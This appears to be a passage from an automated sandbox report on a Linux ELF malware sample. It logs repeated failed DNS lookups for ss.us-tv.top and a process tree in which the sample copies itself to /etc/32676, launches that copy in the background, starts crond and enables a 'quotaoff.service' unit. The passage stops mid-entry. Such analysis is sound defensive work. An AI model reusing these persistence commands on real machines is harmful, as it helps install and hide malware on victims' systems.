Nov 2, 2024 04:01:53.557663918 CET	1.1.1.1	192.168.2.13	0x493d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:53.560914993 CET	1.1.1.1	192.168.2.13	0x4816	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:53.564271927 CET	1.1.1.1	192.168.2.13	0x493d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:53.567564964 CET	1.1.1.1	192.168.2.13	0x4816	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:54.584839106 CET	1.1.1.1	192.168.2.13	0xb739	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:54.591445923 CET	1.1.1.1	192.168.2.13	0xb739	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:54.666959047 CET	1.1.1.1	192.168.2.13	0x53f9	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:54.674077988 CET	1.1.1.1	192.168.2.13	0x53f9	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:55.690013885 CET	1.1.1.1	192.168.2.13	0xfb79	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:55.693137884 CET	1.1.1.1	192.168.2.13	0x27d7	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:55.696939945 CET	1.1.1.1	192.168.2.13	0xfb79	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:55.703376055 CET	1.1.1.1	192.168.2.13	0x27d7	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:56.718565941 CET	1.1.1.1	192.168.2.13	0x599b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:56.720007896 CET	1.1.1.1	192.168.2.13	0xa6a1	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:56.725003958 CET	1.1.1.1	192.168.2.13	0x599b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:56.726504087 CET	1.1.1.1	192.168.2.13	0xa6a1	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:57.743359089 CET	1.1.1.1	192.168.2.13	0x31fc	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:57.744306087 CET	1.1.1.1	192.168.2.13	0x6c14	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:57.750039101 CET	1.1.1.1	192.168.2.13	0x31fc	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:57.750885010 CET	1.1.1.1	192.168.2.13	0x6c14	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:58.774252892 CET	1.1.1.1	192.168.2.13	0x8bc0	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:58.781019926 CET	1.1.1.1	192.168.2.13	0x8bc0	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:58.855288029 CET	1.1.1.1	192.168.2.13	0xf4cb	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:58.862654924 CET	1.1.1.1	192.168.2.13	0xf4cb	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:59.882711887 CET	1.1.1.1	192.168.2.13	0x9c98	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:59.886841059 CET	1.1.1.1	192.168.2.13	0x7311	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:01:59.889431953 CET	1.1.1.1	192.168.2.13	0x9c98	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:01:59.897525072 CET	1.1.1.1	192.168.2.13	0x7311	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:00.917026997 CET	1.1.1.1	192.168.2.13	0xe980	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:00.920119047 CET	1.1.1.1	192.168.2.13	0x52b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:00.924176931 CET	1.1.1.1	192.168.2.13	0xe980	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:00.927052021 CET	1.1.1.1	192.168.2.13	0x52b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:01.940689087 CET	1.1.1.1	192.168.2.13	0x1b80	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:01.940928936 CET	1.1.1.1	192.168.2.13	0xaa9d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:01.947545052 CET	1.1.1.1	192.168.2.13	0x1b80	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:01.947734118 CET	1.1.1.1	192.168.2.13	0xaa9d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:02.963850975 CET	1.1.1.1	192.168.2.13	0x3e60	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:02.964112997 CET	1.1.1.1	192.168.2.13	0x5f3	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:02.970520973 CET	1.1.1.1	192.168.2.13	0x3e60	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:02.970745087 CET	1.1.1.1	192.168.2.13	0x5f3	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:03.987546921 CET	1.1.1.1	192.168.2.13	0x78ed	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:04.083446980 CET	1.1.1.1	192.168.2.13	0xa9e8	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:04.090219021 CET	1.1.1.1	192.168.2.13	0xa9e8	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:04.643105984 CET	1.1.1.1	192.168.2.13	0x78ed	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:05.660492897 CET	1.1.1.1	192.168.2.13	0x7224	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:05.660953045 CET	1.1.1.1	192.168.2.13	0x4920	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:05.667398930 CET	1.1.1.1	192.168.2.13	0x7224	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:05.667834997 CET	1.1.1.1	192.168.2.13	0x4920	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:06.683628082 CET	1.1.1.1	192.168.2.13	0xd528	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:06.685981035 CET	1.1.1.1	192.168.2.13	0x22c4	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:06.690395117 CET	1.1.1.1	192.168.2.13	0xd528	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:06.693268061 CET	1.1.1.1	192.168.2.13	0x22c4	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:07.707649946 CET	1.1.1.1	192.168.2.13	0x7365	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:07.708058119 CET	1.1.1.1	192.168.2.13	0x820c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:07.714437008 CET	1.1.1.1	192.168.2.13	0x7365	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:07.714770079 CET	1.1.1.1	192.168.2.13	0x820c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:08.730400085 CET	1.1.1.1	192.168.2.13	0x9186	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:08.731185913 CET	1.1.1.1	192.168.2.13	0x848a	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:08.736999989 CET	1.1.1.1	192.168.2.13	0x9186	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:08.737843037 CET	1.1.1.1	192.168.2.13	0x848a	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:09.756386995 CET	1.1.1.1	192.168.2.13	0xe499	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:09.757035971 CET	1.1.1.1	192.168.2.13	0x25d2	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:09.763164997 CET	1.1.1.1	192.168.2.13	0xe499	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:09.763664007 CET	1.1.1.1	192.168.2.13	0x25d2	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:10.780458927 CET	1.1.1.1	192.168.2.13	0x6a76	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:10.780472994 CET	1.1.1.1	192.168.2.13	0x165d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:10.787514925 CET	1.1.1.1	192.168.2.13	0x6a76	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:10.787576914 CET	1.1.1.1	192.168.2.13	0x165d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:11.806943893 CET	1.1.1.1	192.168.2.13	0xd696	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:11.807861090 CET	1.1.1.1	192.168.2.13	0x5671	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:11.815051079 CET	1.1.1.1	192.168.2.13	0xd696	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:11.815062046 CET	1.1.1.1	192.168.2.13	0x5671	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:12.835958958 CET	1.1.1.1	192.168.2.13	0x6e44	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:12.836146116 CET	1.1.1.1	192.168.2.13	0x401c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:12.842920065 CET	1.1.1.1	192.168.2.13	0x401c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:13.188297033 CET	1.1.1.1	192.168.2.13	0x6e44	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:14.256681919 CET	1.1.1.1	192.168.2.13	0xcd9a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:14.256903887 CET	1.1.1.1	192.168.2.13	0xd725	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:14.263667107 CET	1.1.1.1	192.168.2.13	0xd725	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:14.263746023 CET	1.1.1.1	192.168.2.13	0xcd9a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:15.283026934 CET	1.1.1.1	192.168.2.13	0xda32	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:15.284887075 CET	1.1.1.1	192.168.2.13	0xc7f9	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:15.290127993 CET	1.1.1.1	192.168.2.13	0xda32	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:15.291624069 CET	1.1.1.1	192.168.2.13	0xc7f9	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:16.308032036 CET	1.1.1.1	192.168.2.13	0xcf4b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:16.308139086 CET	1.1.1.1	192.168.2.13	0x6d8e	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:16.314971924 CET	1.1.1.1	192.168.2.13	0x6d8e	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:16.315376043 CET	1.1.1.1	192.168.2.13	0xcf4b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:17.332282066 CET	1.1.1.1	192.168.2.13	0x5229	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:17.334965944 CET	1.1.1.1	192.168.2.13	0x497d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:17.338998079 CET	1.1.1.1	192.168.2.13	0x5229	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:17.341906071 CET	1.1.1.1	192.168.2.13	0x497d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:18.358212948 CET	1.1.1.1	192.168.2.13	0x7d21	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:18.358779907 CET	1.1.1.1	192.168.2.13	0xda27	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:18.364881039 CET	1.1.1.1	192.168.2.13	0x7d21	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:18.365494013 CET	1.1.1.1	192.168.2.13	0xda27	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:19.380060911 CET	1.1.1.1	192.168.2.13	0x4ce9	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:19.380448103 CET	1.1.1.1	192.168.2.13	0x460	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:19.386976004 CET	1.1.1.1	192.168.2.13	0x4ce9	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:19.387248039 CET	1.1.1.1	192.168.2.13	0x460	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:20.407644987 CET	1.1.1.1	192.168.2.13	0xce28	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:20.410661936 CET	1.1.1.1	192.168.2.13	0x8f7c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:20.417383909 CET	1.1.1.1	192.168.2.13	0x8f7c	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:20.782176018 CET	1.1.1.1	192.168.2.13	0xce28	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:21.802130938 CET	1.1.1.1	192.168.2.13	0x1f78	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:21.805757046 CET	1.1.1.1	192.168.2.13	0x2d8b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:21.808778048 CET	1.1.1.1	192.168.2.13	0x1f78	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:21.812473059 CET	1.1.1.1	192.168.2.13	0x2d8b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:22.832456112 CET	1.1.1.1	192.168.2.13	0x8975	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:22.834660053 CET	1.1.1.1	192.168.2.13	0x64b7	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:22.839337111 CET	1.1.1.1	192.168.2.13	0x8975	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:22.841300964 CET	1.1.1.1	192.168.2.13	0x64b7	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:23.856405020 CET	1.1.1.1	192.168.2.13	0x6923	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:23.858853102 CET	1.1.1.1	192.168.2.13	0x5bf8	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:02:23.863333941 CET	1.1.1.1	192.168.2.13	0x6923	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 04:02:23.865688086 CET	1.1.1.1	192.168.2.13	0x5bf8	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: Xq5coKA8BI.elf PID: 5472, Parent PID: 5391

General

Start time (UTC):	03:00:18
Start date (UTC):	02/11/2024
Path:	/tmp/Xq5coKA8BI.elf
Arguments:	/tmp/Xq5coKA8BI.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: Xq5coKA8BI.elf PID: 5477, Parent PID: 5472

General

Start time (UTC):	03:00:18
Start date (UTC):	02/11/2024
Path:	/tmp/Xq5coKA8BI.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: Xq5coKA8BI.elf PID: 5477, Parent PID: 5472

General

Start time (UTC):	03:00:18
Start date (UTC):	02/11/2024
Path:	/tmp/Xq5coKA8BI.elf
Arguments:	/tmp/Xq5coKA8BI.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: Xq5coKA8BI.elf PID: 5490, Parent PID: 5477

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/tmp/Xq5coKA8BI.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: bash PID: 5490, Parent PID: 5477

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	/bin/bash -c /etc/32676&
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: bash PID: 5495, Parent PID: 5490

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: 32676 PID: 5495, Parent PID: 2935

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/etc/32676
Arguments:	/etc/32676
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: 32676 PID: 5498, Parent PID: 5495

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/etc/32676
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: sleep PID: 5498, Parent PID: 5495

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/usr/bin/sleep
Arguments:	sleep 60
File size:	39256 bytes
MD5 hash:	fcba58db24e5e3672c4d70a3bb01d7a4

Chronological Activities

Analysis Process: 32676 PID: 5690, Parent PID: 5495

General

Start time (UTC):	03:01:20
Start date (UTC):	02/11/2024
Path:	/etc/32676
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: 32676 PID: 5692, Parent PID: 5495

General

Start time (UTC):	03:01:20
Start date (UTC):	02/11/2024
Path:	/etc/32676
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: sleep PID: 5692, Parent PID: 5495

General

Start time (UTC):	03:01:20
Start date (UTC):	02/11/2024
Path:	/usr/bin/sleep
Arguments:	sleep 60
File size:	39256 bytes
MD5 hash:	fcba58db24e5e3672c4d70a3bb01d7a4

Chronological Activities

Analysis Process: 32676 PID: 5751, Parent PID: 5495

General

Start time (UTC):	03:02:20
Start date (UTC):	02/11/2024
Path:	/etc/32676
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: 32676 PID: 5753, Parent PID: 5495

General

Start time (UTC):	03:02:20
Start date (UTC):	02/11/2024
Path:	/etc/32676
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: sleep PID: 5753, Parent PID: 5495

General

Start time (UTC):	03:02:20
Start date (UTC):	02/11/2024
Path:	/usr/bin/sleep
Arguments:	sleep 60
File size:	39256 bytes
MD5 hash:	fcba58db24e5e3672c4d70a3bb01d7a4

Chronological Activities

Analysis Process: Xq5coKA8BI.elf PID: 5496, Parent PID: 5477

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/tmp/Xq5coKA8BI.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: service PID: 5496, Parent PID: 5477

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	service crond start
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5499, Parent PID: 5496

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5499, Parent PID: 5496

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5500, Parent PID: 5496

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: basename PID: 5500, Parent PID: 5496

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/usr/bin/basename
Arguments:	basename /usr/sbin/service
File size:	39256 bytes
MD5 hash:	3283660e59f128df18bec9b96fbd4d41

Chronological Activities

Analysis Process: service PID: 5501, Parent PID: 5496

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5501, Parent PID: 5496

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl --quiet is-active multi-user.target
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5502, Parent PID: 5496

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: service PID: 5503, Parent PID: 5502

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5503, Parent PID: 5502

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl list-unit-files --full --type=socket
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: service PID: 5504, Parent PID: 5502

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/usr/sbin/service
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sed PID: 5504, Parent PID: 5502

General

Start time (UTC):	03:00:20
Start date (UTC):	02/11/2024
Path:	/usr/bin/sed
Arguments:	sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p
File size:	121288 bytes
MD5 hash:	885062561f66aa1d4af4c54b9e7cc81a

Chronological Activities

Analysis Process: systemctl PID: 5496, Parent PID: 5477

General

Start time (UTC):	03:00:22
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl start crond.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: Xq5coKA8BI.elf PID: 5505, Parent PID: 5477

General

Start time (UTC):	03:00:22
Start date (UTC):	02/11/2024
Path:	/tmp/Xq5coKA8BI.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: bash PID: 5505, Parent PID: 5477

General

Start time (UTC):	03:00:22
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	/bin/bash -c "cd /boot;systemctl daemon-reload;systemctl enable quotaoff.service;systemctl start quotaoff.service;journalctl -xe --no-pager"
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: bash PID: 5510, Parent PID: 5505

General

Start time (UTC):	03:00:22
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: systemctl PID: 5510, Parent PID: 5505

General

Start time (UTC):	03:00:22
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: bash PID: 5514, Parent PID: 5505

General

Start time (UTC):	03:00:23
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: systemctl PID: 5514, Parent PID: 5505

General

Start time (UTC):	03:00:23
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl enable quotaoff.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: bash PID: 5518, Parent PID: 5505

General

Start time (UTC):	03:00:23
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: systemctl PID: 5518, Parent PID: 5505

General

Start time (UTC):	03:00:23
Start date (UTC):	02/11/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl start quotaoff.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: bash PID: 5531, Parent PID: 5505

General

Start time (UTC):	03:00:23
Start date (UTC):	02/11/2024
Path:	/bin/bash
Arguments:	-
File size:	1183448 bytes
MD5 hash:	7063c3930affe123baecd3b340f1ad2c

Chronological Activities

Analysis Process: journalctl PID: 5531, Parent PID: 5505

General

Start time (UTC):	03:00:23
Start date (UTC):	02/11/2024
Path:	/usr/bin/journalctl
Arguments:	journalctl -xe --no-pager
File size:	80120 bytes
MD5 hash:	bf3a987344f3bacafc44efd882abda8b

Chronological Activities

Analysis Process: Xq5coKA8BI.elf PID: 5539, Parent PID: 5477

General

Start time (UTC):	03:00:24
Start date (UTC):	02/11/2024
